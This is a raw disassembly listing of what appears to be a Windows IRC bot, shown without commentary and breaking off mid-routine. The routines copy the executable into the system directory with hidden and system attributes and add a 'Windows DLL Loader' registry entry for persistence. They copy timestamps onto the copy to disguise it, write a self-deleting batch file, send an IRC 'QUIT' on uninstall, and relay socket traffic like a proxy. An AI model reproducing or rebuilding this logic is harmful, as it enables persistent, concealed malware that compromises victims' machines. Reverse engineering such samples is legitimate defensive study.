		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		call	dword_41204C	; GetFileTime
		push	ebx
		mov	ebx, dword_4120AC
		call	ebx	; CloseHandle
		push	0
		push	edi
		push	3
		push	0
		push	2
		push	40000000h
		push	[ebp+arg_0]
		call	esi	; CreateFileA
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_404ED7
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		push	esi
		call	dword_412050	; SetFileTime
		push	esi
		call	ebx	; CloseHandle

loc_404ED7:				; CODE XREF: sub_404E31+58j
					; sub_404E31+8Ej
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_404E31	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404EDC	proc near		; CODE XREF: sub_4050D1+139p
					; sub_4050D1+16Fp ...

var_108		= byte ptr -108h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 108h
		push	esi
		xor	esi, esi
		lea	eax, [ebp+var_4]
		push	esi
		push	eax
		push	esi
		push	0F003Fh
		push	esi
		push	esi
		push	esi
		push	offset aSoftwareMicros ; "Software\\Microsoft\\Windows\\CurrentVersi"...
		push	80000002h
		call	dword_412014
		cmp	[ebp+arg_0], esi
		jz	short loc_404F67
		lea	eax, [ebp+var_108]
		push	104h
		push	eax
		call	dword_412054	; GetSystemDirectoryA
		lea	eax, [ebp+var_108]
		push	offset dword_413DEC
		push	eax
		call	sub_4114EE	; _mbscat
		push	[ebp+arg_8]
		lea	eax, [ebp+var_108]
		push	eax
		call	sub_4114EE	; _mbscat
		add	esp, 10h
		lea	eax, [ebp+var_108]
		push	eax
		call	dword_412040	; lstrlen
		inc	eax
		push	eax
		lea	eax, [ebp+var_108]
		push	eax
		push	1
		push	esi
		push	[ebp+arg_4]
		push	[ebp+var_4]
		call	dword_412010
		jmp	short loc_404F73
; ---------------------------------------------------------------------------

loc_404F67:				; CODE XREF: sub_404EDC+2Dj
		push	[ebp+arg_4]
		push	[ebp+var_4]
		call	dword_412004

loc_404F73:				; CODE XREF: sub_404EDC+89j
		push	[ebp+var_4]
		call	dword_412028
		pop	esi
		leave
		retn
sub_404EDC	endp


; =============== S U B	R O U T	I N E =======================================



sub_404F7F	proc near		; CODE XREF: sub_404FA8+2Bp
					; sub_4050D1+1C1p ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		push	esi
		mov	edi, esi
		call	sub_4114BE	; strlen
		pop	ecx
		xor	ecx, ecx
		test	eax, eax
		jbe	short loc_404FA3

loc_404F94:				; CODE XREF: sub_404F7F+22j
		cmp	byte ptr [ecx+esi], 5Ch
		jnz	short loc_404F9E
		lea	edi, [ecx+esi+1]

loc_404F9E:				; CODE XREF: sub_404F7F+19j
		inc	ecx
		cmp	ecx, eax
		jb	short loc_404F94

loc_404FA3:				; CODE XREF: sub_404F7F+13j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_404F7F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404FA8	proc near		; CODE XREF: sub_4050D1+Cp
					; sub_4052DF+Cp

var_104		= byte ptr -104h

		push	ebp
		mov	ebp, esp
		sub	esp, 104h
		lea	eax, [ebp+var_104]
		push	104h
		push	eax
		push	0
		call	dword_412094	; GetModuleHandleA
		push	eax
		call	dword_412098	; GetModuleFileNameA
		lea	eax, [ebp+var_104]
		push	eax
		call	sub_404F7F
		and	byte ptr [eax],	0
		pop	ecx
		lea	eax, [ebp+var_104]
		push	eax
		call	dword_41203C	; SetCurrentDirectoryA
		leave
		retn
sub_404FA8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404FEB	proc near		; CODE XREF: sub_4050D1+1C7p
					; sub_4052DF+C2p ...

var_14		= byte ptr -14h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	ebx
		push	esi
		push	edi
		push	8
		push	4
		call	sub_40B459
		push	7Ah
		push	61h
		mov	edi, eax
		call	sub_40B459
		add	esp, 10h
		mov	[ebp+var_14], al
		push	1
		pop	esi
		cmp	edi, esi
		jz	short loc_405029

loc_405015:				; CODE XREF: sub_404FEB+3Cj
		push	7Ah
		push	61h
		call	sub_40B459
		mov	[ebp+esi+var_14], al
		inc	esi
		pop	ecx
		cmp	esi, edi
		pop	ecx
		jnz	short loc_405015

loc_405029:				; CODE XREF: sub_404FEB+28j
		lea	eax, [ebp+esi+var_14]
		push	offset a_bat	; ".bat"
		push	eax
		call	sub_4114B8	; _mbscpy
		mov	edi, [ebp+arg_0]
		push	edi
		call	sub_4114BE	; strlen
		push	400h
		call	sub_4114C4	; malloc
		add	esp, 10h
		mov	ebx, eax
		lea	eax, [ebp+var_14]
		push	eax
		call	dword_4120B8	; DeleteFileA
		xor	esi, esi
		lea	eax, [ebp+var_14]
		push	esi
		push	esi
		push	2
		push	esi
		push	esi
		push	40000000h
		push	eax
		call	dword_412048	; CreateFileA
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+arg_0], eax
		jnz	short loc_40507D
		xor	eax, eax
		jmp	short loc_4050CC
; ---------------------------------------------------------------------------

loc_40507D:				; CODE XREF: sub_404FEB+8Cj
		lea	eax, [ebp+var_14]
		push	eax
		push	edi
		push	edi
		push	edi
		push	offset a@echoOffDelete ; "@echo	off\r\n:deleteagain\r\ndel /A:H	/F %s"...
		push	ebx
		call	dword_4121EC
		add	esp, 18h
		lea	eax, [ebp+var_4]
		mov	[ebp+var_4], esi
		push	esi
		push	eax
		push	ebx
		call	sub_4114BE	; strlen
		pop	ecx
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	dword_412070	; WriteFile
		push	[ebp+arg_0]
		call	dword_4120AC	; CloseHandle
		push	esi
		push	esi
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		push	offset aOpen	; "open"
		push	esi
		call	dword_4121E4
		push	1
		pop	eax

loc_4050CC:				; CODE XREF: sub_404FEB+90j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_404FEB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4050D1	proc near		; CODE XREF: sub_4111E8:loc_41137Dp

var_36C		= byte ptr -36Ch
var_268		= byte ptr -268h
var_164		= byte ptr -164h
var_60		= dword	ptr -60h
var_30		= word ptr -30h
var_1C		= byte ptr -1Ch
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 36Ch
		push	ebx
		push	esi
		push	edi
		call	sub_404FA8
		mov	esi, 104h
		lea	eax, [ebp+var_36C]
		push	esi
		xor	ebx, ebx
		push	eax
		push	ebx
		call	dword_412094	; GetModuleHandleA
		push	eax
		call	dword_412098	; GetModuleFileNameA
		cmp	off_413B90, ebx
		mov	[ebp+var_4], ebx
		mov	[ebp+var_8], ebx
		jz	short loc_405181
		mov	edi, offset off_413B90
		mov	[ebp+var_C], edi

loc_405115:				; CODE XREF: sub_4050D1+AEj
		inc	[ebp+var_4]
		lea	eax, [ebp+var_268]
		push	esi
		push	eax
		call	dword_412054	; GetSystemDirectoryA
		lea	eax, [ebp+var_268]
		push	offset dword_413DEC
		push	eax
		call	sub_4114EE	; _mbscat
		push	dword ptr [edi]
		call	sub_40B5E1
		push	dword ptr [edi]
		lea	eax, [ebp+var_268]
		push	eax
		call	sub_4114EE	; _mbscat
		push	dword ptr [edi]
		call	sub_40B5A8
		lea	eax, [ebp+var_36C]
		push	eax
		lea	eax, [ebp+var_268]
		push	eax
		call	sub_411924	; _strcmpi
		add	esp, 20h
		test	eax, eax
		jz	loc_405214
		mov	edi, [ebp+var_C]
		inc	[ebp+var_8]
		add	edi, 8
		mov	[ebp+var_C], edi
		cmp	[edi], ebx
		jnz	short loc_405115

loc_405181:				; CODE XREF: sub_4050D1+3Aj
		push	[ebp+var_4]
		push	ebx
		call	sub_40B459
		pop	ecx
		mov	edi, eax
		pop	ecx
		lea	eax, [ebp+var_164]
		push	esi
		push	eax
		call	dword_412054	; GetSystemDirectoryA
		lea	eax, [ebp+var_164]
		push	offset dword_413DEC
		push	eax
		call	sub_4114EE	; _mbscat
		push	off_413B90[edi*8]
		lea	esi, ds:413B90h[edi*8]
		call	sub_40B5E1
		push	dword ptr [esi]
		lea	eax, [ebp+var_164]
		push	eax
		call	sub_4114EE	; _mbscat
		push	dword ptr [esi]
		call	sub_40B5A8
		add	esp, 18h
		lea	eax, [ebp+var_164]
		push	eax
		call	dword_4120B8	; DeleteFileA
		lea	eax, [ebp+var_164]
		push	ebx
		push	eax
		lea	eax, [ebp+var_36C]
		push	eax
		call	dword_412068	; CopyFileA
		test	eax, eax
		jnz	short loc_405263
		push	offset dword_419ECC
		push	offset aWindowsDllLoad ; "Windows DLL Loader"
		push	1
		call	sub_404EDC
		add	esp, 0Ch
		jmp	short loc_40525E
; ---------------------------------------------------------------------------

loc_405214:				; CODE XREF: sub_4050D1+9Aj
		mov	eax, [ebp+var_8]
		mov	esi, eax
		shl	esi, 3
		push	off_413B90[esi]
		call	sub_40B5E1
		push	off_413B94[esi]
		call	sub_40B5E1
		push	off_413B90[esi]
		push	off_413B94[esi]
		push	1
		call	sub_404EDC
		push	off_413B90[esi]
		call	sub_40B5A8
		push	off_413B94[esi]
		call	sub_40B5A8
		add	esp, 1Ch

loc_40525E:				; CODE XREF: sub_4050D1+141j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------

loc_405263:				; CODE XREF: sub_4050D1+12Bj
		mov	esi, dword_4120B0
		lea	eax, [ebp+var_164]
		push	4
		push	eax
		call	esi	; SetFileAttributesA
		lea	eax, [ebp+var_164]
		push	2
		push	eax
		call	esi	; SetFileAttributesA
		lea	eax, [ebp+var_164]
		push	eax
		call	sub_404E31
		lea	eax, [ebp+var_36C]
		push	eax
		call	sub_404F7F
		push	eax
		call	sub_404FEB
		push	44h
		lea	eax, [ebp+var_60]
		pop	esi
		push	esi
		push	ebx
		push	eax
		call	sub_4114E8	; memset
		add	esp, 18h
		lea	eax, [ebp+var_1C]
		mov	[ebp+var_60], esi
		mov	[ebp+var_30], bx
		push	eax
		lea	eax, [ebp+var_60]
		push	eax
		push	ebx
		push	ebx
		push	28h
		push	1
		push	ebx
		lea	eax, [ebp+var_164]
		push	ebx
		push	eax
		push	ebx
		call	dword_412084	; CreateProcessA
		call	dword_412264	; WSACleanup
		push	ebx
		call	sub_41157C	; exit
sub_4050D1	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4052DF	proc near		; CODE XREF: sub_402230+51Dp
					; sub_407A76+C5Fp ...

var_20C		= byte ptr -20Ch
var_108		= byte ptr -108h
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 20Ch
		push	ebx
		push	esi
		push	edi
		call	sub_404FA8
		mov	ebx, 104h
		lea	eax, [ebp+var_20C]
		push	ebx
		xor	edi, edi
		push	eax
		push	edi
		call	dword_412094	; GetModuleHandleA
		push	eax
		call	dword_412098	; GetModuleFileNameA
		cmp	off_413B90, edi
		mov	[ebp+var_4], edi
		jz	short loc_405383
		mov	esi, offset off_413B90
		mov	edi, esi

loc_40531F:				; CODE XREF: sub_4052DF+A0j
		lea	eax, [ebp+var_108]
		push	ebx
		push	eax
		call	dword_412054	; GetSystemDirectoryA
		lea	eax, [ebp+var_108]
		push	offset dword_413DEC
		push	eax
		call	sub_4114EE	; _mbscat
		push	dword ptr [esi]
		call	sub_40B5E1
		push	dword ptr [esi]
		lea	eax, [ebp+var_108]
		push	eax
		call	sub_4114EE	; _mbscat
		push	dword ptr [esi]
		call	sub_40B5A8
		lea	eax, [ebp+var_20C]
		push	eax
		lea	eax, [ebp+var_108]
		push	eax
		call	sub_411924	; _strcmpi
		add	esp, 20h
		test	eax, eax
		jz	short loc_4053CB
		inc	[ebp+var_4]
		add	edi, 8
		mov	esi, edi
		cmp	dword ptr [edi], 0
		jnz	short loc_40531F
		xor	edi, edi

loc_405383:				; CODE XREF: sub_4052DF+37j
		mov	esi, offset dword_419ECC
		push	esi
		push	offset aWindowsDllLoad ; "Windows DLL Loader"
		push	edi
		call	sub_404EDC
		lea	eax, [ebp+var_20C]
		push	eax
		call	sub_404F7F
		push	eax
		call	sub_404FEB
		add	esp, 14h
		test	eax, eax
		jz	loc_40544A
		push	esi
		push	offset aQuitSUninstall ; "QUIT :%s uninstalled."
		call	sub_4097DB
		pop	ecx
		pop	ecx
		call	dword_412264	; WSACleanup
		push	edi
		call	dword_412064	; ExitProcess

loc_4053CB:				; CODE XREF: sub_4052DF+93j
		mov	eax, [ebp+var_4]
		mov	esi, eax
		shl	esi, 3
		push	off_413B90[esi]
		call	sub_40B5E1
		push	off_413B94[esi]
		call	sub_40B5E1
		push	off_413B90[esi]
		push	off_413B94[esi]
		push	0
		call	sub_404EDC
		push	off_413B90[esi]
		call	sub_40B5A8
		push	off_413B94[esi]
		call	sub_40B5A8
		lea	eax, [ebp+var_20C]
		push	eax
		call	sub_404F7F
		push	eax
		call	sub_404FEB
		add	esp, 24h
		test	eax, eax
		jz	short loc_40544A
		push	offset dword_419ECC
		push	offset aQuitSUninstall ; "QUIT :%s uninstalled."
		call	sub_4097DB
		pop	ecx
		pop	ecx
		call	dword_412264	; WSACleanup
		push	0
		call	dword_412064	; ExitProcess

loc_40544A:				; CODE XREF: sub_4052DF+CCj
					; sub_4052DF+14Aj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4052DF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40544F	proc near		; DATA XREF: sub_4056AC+F4o

var_16D4	= byte ptr -16D4h
var_6D4		= byte ptr -6D4h
var_5D4		= dword	ptr -5D4h
var_5CA		= byte ptr -5CAh
var_5BA		= byte ptr -5BAh
var_427		= byte ptr -427h
var_414		= byte ptr -414h
var_413		= byte ptr -413h
var_412		= dword	ptr -412h
var_40C		= byte ptr -40Ch
var_C		= byte ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 16D4h
		call	sub_411540
		push	ebx
		push	esi
		push	edi
		push	1BDh
		push	[ebp+arg_0]
		lea	eax, [ebp+var_5D4]
		push	eax
		call	sub_4114D0	; memcpy
		push	[ebp+arg_0]
		call	sub_4114CA	; free
		mov	eax, [ebp+var_5D4]
		mov	edi, dword_412258
		add	esp, 10h
		xor	ebx, ebx
		lea	ecx, [ebp+var_414]
		mov	[ebp+arg_0], eax
		push	ebx
		push	408h
		push	ecx
		push	eax
		call	edi	; recv
		cmp	eax, ebx
		jz	loc_4056A3
		cmp	eax, 0FFFFFFFFh
		jz	loc_4056A3
		cmp	[ebp+var_414], 4
		jnz	short loc_4054C7
		cmp	[ebp+var_413], 1
		jnz	short loc_4054C7
		push	1
		pop	esi
		jmp	short loc_4054C9
; ---------------------------------------------------------------------------

loc_4054C7:				; CODE XREF: sub_40544F+68j
					; sub_40544F+71j
		xor	esi, esi

loc_4054C9:				; CODE XREF: sub_40544F+76j
		cmp	[ebp+var_5CA], bl
		jz	short loc_4054EF
		lea	eax, [ebp+var_5CA]
		push	10h
		push	eax
		lea	eax, [ebp+var_40C]
		push	eax
		call	sub_411570	; strncmp
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_4054EF
		xor	esi, esi

loc_4054EF:				; CODE XREF: sub_40544F+80j
					; sub_40544F+9Cj
		cmp	[ebp+var_427], bl
		jz	short loc_40553A
		lea	eax, [ebp+var_6D4]
		push	eax
		push	[ebp+arg_0]
		call	sub_4034DE
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		mov	eax, offset byte_4191D0
		jnz	short loc_405516
		mov	eax, offset dword_413EF4

loc_405516:				; CODE XREF: sub_40544F+C0j
		push	eax
		movzx	eax, [ebp+var_414]
		push	eax
		lea	eax, [ebp+var_6D4]
		push	eax
		lea	eax, [ebp+var_5BA]
		push	offset dword_413EC0
		push	eax
		call	sub_4096CB
		add	esp, 14h

loc_40553A:				; CODE XREF: sub_40544F+A6j
		cmp	esi, ebx
		jnz	short loc_405575
		push	8
		lea	eax, [ebp+var_414]
		push	ebx
		push	eax
		call	sub_4114E8	; memset
		lea	eax, [ebp+var_414]
		push	8
		push	eax
		mov	[ebp+var_413], 5Bh
		push	[ebp+arg_0]
		call	sub_403D9D
		push	[ebp+arg_0]
		call	sub_403D70
		add	esp, 1Ch
		jmp	loc_4056A3
; ---------------------------------------------------------------------------

loc_405575:				; CODE XREF: sub_40544F+EDj
		lea	eax, [ebp+var_C]
		push	0Ah
		push	eax
		push	[ebp+var_412]
		call	dword_412248	; htons
		movzx	eax, ax
		push	eax
		call	sub_41192A	; _itoa
		add	esp, 0Ch
		lea	eax, [ebp+var_C]
		push	2710h
		push	ebx
		push	eax
		push	[ebp+var_412+2]
		call	dword_412230	; inet_ntoa
		push	eax
		call	sub_403C04
		mov	[ebp+var_4], eax
		push	8
		lea	eax, [ebp+var_414]
		push	ebx
		push	eax
		call	sub_4114E8	; memset
		add	esp, 1Ch
		cmp	[ebp+var_4], ebx
		jnz	short loc_4055F1
		lea	eax, [ebp+var_414]
		push	8
		push	eax
		mov	[ebp+var_413], 5Bh
		push	[ebp+arg_0]
		call	sub_403D9D
		push	[ebp+arg_0]
		call	sub_403D70
		add	esp, 10h
		jmp	loc_4056A3
; ---------------------------------------------------------------------------

loc_4055F1:				; CODE XREF: sub_40544F+178j
		lea	eax, [ebp+var_414]
		push	8
		push	eax
		mov	[ebp+var_413], 5Ah
		push	[ebp+arg_0]
		call	sub_403D9D
		add	esp, 0Ch
		mov	esi, 1000h

loc_405611:				; CODE XREF: sub_40544F+240j
		push	[ebp+arg_0]
		call	sub_40346D
		test	eax, eax
		pop	ecx
		jz	short loc_40564C
		push	ebx
		lea	eax, [ebp+var_16D4]
		push	esi
		push	eax
		push	[ebp+arg_0]
		call	edi	; recv
		cmp	eax, ebx
		jz	short loc_405691
		cmp	eax, 0FFFFFFFFh
		jz	short loc_405691
		push	eax
		lea	eax, [ebp+var_16D4]
		push	eax
		push	[ebp+var_4]
		call	sub_403D9D
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_405691

loc_40564C:				; CODE XREF: sub_40544F+1CDj
		push	[ebp+var_4]
		call	sub_40346D
		test	eax, eax
		pop	ecx
		jz	short loc_405687
		push	ebx
		lea	eax, [ebp+var_16D4]
		push	esi
		push	eax
		push	[ebp+var_4]
		call	edi	; recv
		cmp	eax, ebx
		jz	short loc_405691
		cmp	eax, 0FFFFFFFFh
		jz	short loc_405691
		push	eax
		lea	eax, [ebp+var_16D4]
		push	eax
		push	[ebp+arg_0]
		call	sub_403D9D
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_405691

loc_405687:				; CODE XREF: sub_40544F+208j
		push	32h
		call	dword_4120A4	; Sleep
		jmp	short loc_405611
; ---------------------------------------------------------------------------

loc_405691:				; CODE XREF: sub_40544F+1DFj
					; sub_40544F+1E4j ...
		push	[ebp+arg_0]
		call	sub_403D70
		push	[ebp+var_4]
		call	sub_403D70
		pop	ecx
		pop	ecx

loc_4056A3:				; CODE XREF: sub_40544F+52j
					; sub_40544F+5Bj ...
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	4
sub_40544F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4056AC	proc near		; DATA XREF: sub_4057ED+8Fo

var_1C0		= dword	ptr -1C0h
var_1BC		= byte ptr -1BCh
var_1B6		= byte ptr -1B6h
var_1A6		= byte ptr -1A6h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1C0h
		push	1BDh
		lea	eax, [ebp+var_1C0]
		push	[ebp+arg_0]
		push	eax
		call	sub_4114D0	; memcpy
		push	[ebp+arg_0]
		call	sub_4114CA	; free
		lea	eax, [ebp+var_1BC]
		push	1
		push	eax
		call	sub_403644
		add	esp, 18h
		mov	[ebp+arg_0], eax
		test	eax, eax
		jnz	short loc_4056FC
		push	[ebp+var_1C0]
		call	sub_406E6F
		pop	ecx
		xor	eax, eax
		jmp	locret_4057E9
; ---------------------------------------------------------------------------

loc_4056FC:				; CODE XREF: sub_4056AC+3Bj
		push	ebx
		push	esi
		lea	eax, [ebp+var_1BC]
		push	edi
		push	eax
		mov	eax, [ebp+var_1C0]
		push	dword ptr [eax]
		lea	eax, [ebp+var_1A6]
		push	offset dword_413F00
		push	eax
		call	sub_4096CB
		mov	edi, 3E8h
		push	edi
		push	[ebp+arg_0]
		call	sub_403767
		add	esp, 18h

loc_405730:				; CODE XREF: sub_4056AC+11Ej
		mov	ebx, eax
		mov	eax, [ebp+var_1C0]
		cmp	dword ptr [eax+4], 0
		jnz	loc_4057CF
		test	ebx, ebx
		jz	loc_4057CF
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_4057BF
		push	1BDh
		call	sub_4114C4	; malloc
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jnz	short loc_405768
		push	ebx
		call	sub_403D92
		jmp	short loc_4057BE
; ---------------------------------------------------------------------------

loc_405768:				; CODE XREF: sub_4056AC+B2j
		lea	eax, [ebp+var_1BC]
		mov	[esi], ebx
		push	eax
		lea	eax, [esi+4]
		push	eax
		call	sub_4114B8	; _mbscpy
		lea	eax, [ebp+var_1B6]
		push	eax
		lea	eax, [esi+0Ah]
		push	eax
		call	sub_4114B8	; _mbscpy
		lea	eax, [ebp+var_1A6]
		push	1A3h
		push	eax
		lea	eax, [esi+1Ah]
		push	eax
		call	sub_4114D0	; memcpy
		push	esi
		push	offset sub_40544F
		call	sub_406C5D
		add	esp, 24h
		test	eax, eax
		jnz	short loc_4057BF
		push	esi
		call	sub_4114CA	; free
		push	ebx
		call	sub_403D92
		pop	ecx

loc_4057BE:				; CODE XREF: sub_4056AC+BAj
		pop	ecx

loc_4057BF:				; CODE XREF: sub_4056AC+A1j
					; sub_4056AC+103j
		push	edi
		push	[ebp+arg_0]
		call	sub_403767
		pop	ecx
		pop	ecx
		jmp	loc_405730
; ---------------------------------------------------------------------------

loc_4057CF:				; CODE XREF: sub_4056AC+90j
					; sub_4056AC+98j
		push	[ebp+arg_0]
		call	sub_40392A
		push	[ebp+var_1C0]
		call	sub_406E6F
		pop	ecx
		xor	eax, eax
		pop	ecx
		pop	edi
		pop	esi
		pop	ebx

locret_4057E9:				; CODE XREF: sub_4056AC+4Bj
		leave
		retn	4
sub_4056AC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4057ED	proc near		; CODE XREF: sub_407A76+10Ap

var_8		= byte ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		mov	ebx, [ebp+arg_4]
		test	ebx, ebx
		push	esi
		jnz	short loc_40581E
		lea	eax, [ebp+var_8]
		push	0Ah
		push	eax
		push	0FFFFh
		push	401h
		call	sub_40B459
		pop	ecx
		pop	ecx
		push	eax
		call	sub_41192A	; _itoa
		add	esp, 0Ch
		lea	ebx, [ebp+var_8]

loc_40581E:				; CODE XREF: sub_4057ED+Cj
		push	1BDh
		call	sub_4114C4	; malloc
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jz	short loc_40588A
		lea	eax, [esi+4]
		push	ebx
		push	eax
		call	sub_4114B8	; _mbscpy
		mov	eax, [ebp+arg_8]
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405847
		mov	eax, offset byte_4191D0

loc_405847:				; CODE XREF: sub_4057ED+53j
		push	edi
		push	10h
		push	eax
		lea	eax, [esi+0Ah]
		push	eax
		call	sub_4059C2
		mov	edi, [ebp+arg_0]
		push	1A3h
		lea	eax, [esi+1Ah]
		push	edi
		push	eax
		call	sub_4114D0	; memcpy
		xor	eax, eax
		add	esp, 18h
		cmp	[edi+18Bh], al
		push	ebx
		push	offset dword_413F34
		setz	al
		push	eax
		push	esi
		push	offset sub_4056AC
		call	sub_406D58
		add	esp, 14h
		pop	edi

loc_40588A:				; CODE XREF: sub_4057ED+40j
		pop	esi
		pop	ebx
		leave
		retn
sub_4057ED	endp


; =============== S U B	R O U T	I N E =======================================



sub_40588E	proc near		; CODE XREF: sub_40C135+20Ep

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		mov	esi, [esp+4+arg_8]
		test	esi, esi
		mov	edx, esi
		jl	short loc_4058B4
		mov	eax, [esp+4+arg_0]
		lea	ecx, [eax+esi*2]

loc_4058A0:				; CODE XREF: sub_40588E+24j
		mov	eax, [esp+4+arg_4]
		mov	al, [edx+eax]
		mov	[ecx], al
		and	byte ptr [ecx+1], 0
		dec	edx
		dec	ecx
		dec	ecx
		test	edx, edx
		jge	short loc_4058A0

loc_4058B4:				; CODE XREF: sub_40588E+9j
		mov	eax, esi
		pop	esi
		retn
sub_40588E	endp


; =============== S U B	R O U T	I N E =======================================



sub_4058B8	proc near		; CODE XREF: sub_407A76+179p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	esi
		call	sub_4114BE	; strlen
		pop	ecx

loc_4058C4:				; CODE XREF: sub_4058B8+1Bj
		test	eax, eax
		jz	short loc_4058D5
		dec	eax
		cmp	byte ptr [eax+esi], 20h
		jnz	short loc_4058D5
		and	byte ptr [eax+esi], 0
		jmp	short loc_4058C4
; ---------------------------------------------------------------------------

loc_4058D5:				; CODE XREF: sub_4058B8+Ej
					; sub_4058B8+15j
		pop	esi
		retn
sub_4058B8	endp


; =============== S U B	R O U T	I N E =======================================



sub_4058D7	proc near		; CODE XREF: sub_405B5B+Cp

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		mov	edx, [esp+arg_0]
		xor	eax, eax

loc_4058DD:				; CODE XREF: sub_4058D7+14j
		mov	cl, [edx]
		test	cl, cl
		jz	short locret_4058ED
		cmp	cl, [esp+arg_4]
		jnz	short loc_4058EA
		inc	eax

loc_4058EA:				; CODE XREF: sub_4058D7+10j
		inc	edx
		jmp	short loc_4058DD
; ---------------------------------------------------------------------------

locret_4058ED:				; CODE XREF: sub_4058D7+Aj
		retn
sub_4058D7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4058EE	proc near		; CODE XREF: sub_40A236+2Ap
					; sub_40A236+EDp

var_4		= byte ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		xor	esi, esi
		push	edi
		cmp	[ebp+arg_10], esi
		jnz	short loc_405917
		push	esi
		push	esi
		push	[ebp+arg_8]
		call	sub_4114E8	; memset
		push	esi
		push	esi
		push	[ebp+arg_C]
		call	sub_4114E8	; memset
		add	esp, 18h
		xor	eax, eax
		jmp	short loc_40598D
; ---------------------------------------------------------------------------

loc_405917:				; CODE XREF: sub_4058EE+Cj
		push	[ebp+arg_0]
		mov	esi, [ebp+arg_4]
		push	esi
		call	sub_4114B8	; _mbscpy
		lea	eax, [ebp+var_4]
		push	eax
		push	offset dword_413F54
		push	[ebp+arg_0]
		call	sub_405E4F
		mov	ebx, [ebp+arg_8]
		add	esp, 14h
		push	1
		mov	[ebx], eax
		mov	eax, [ebp+arg_C]
		pop	edi
		cmp	[ebp+arg_10], edi
		mov	[eax], esi
		jle	short loc_40598A
		mov	[ebp+arg_8], eax
		lea	esi, [ebx+4]
		sub	[ebp+arg_8], ebx

loc_405952:				; CODE XREF: sub_4058EE+9Aj
		xor	eax, eax
		cmp	[esi-4], eax
		jz	short loc_405992
		lea	ecx, [ebp+var_4]
		push	ecx
		push	offset dword_413F54
		push	eax
		call	sub_405E4F
		add	esp, 0Ch
		mov	[esi], eax
		test	eax, eax
		jz	short loc_405979
		sub	eax, [ebp+arg_0]
		add	eax, [ebp+arg_4]
		jmp	short loc_40597B
; ---------------------------------------------------------------------------

loc_405979:				; CODE XREF: sub_4058EE+81j
		xor	eax, eax

loc_40597B:				; CODE XREF: sub_4058EE+89j
		mov	ecx, [ebp+arg_8]
		inc	edi
		mov	[ecx+esi], eax
		add	esi, 4
		cmp	edi, [ebp+arg_10]
		jl	short loc_405952

loc_40598A:				; CODE XREF: sub_4058EE+59j
		mov	eax, [ebp+arg_10]

loc_40598D:				; CODE XREF: sub_4058EE+27j
					; sub_4058EE+D2j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------

loc_405992:				; CODE XREF: sub_4058EE+69j
		mov	esi, edi
		imul	esi, 3FFFFFFFh
		add	esi, [ebp+arg_10]
		shl	esi, 2
		push	esi
		push	eax
		lea	eax, [ebx+edi*4]
		push	eax
		call	sub_4114E8	; memset
		mov	eax, [ebp+arg_C]
		push	esi
		push	0
		lea	eax, [eax+edi*4]
		push	eax
		call	sub_4114E8	; memset
		add	esp, 18h
		lea	eax, [edi-1]
		jmp	short loc_40598D
sub_4058EE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4059C2	proc near		; CODE XREF: sub_40110A+58p
					; sub_40110A+8Cp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
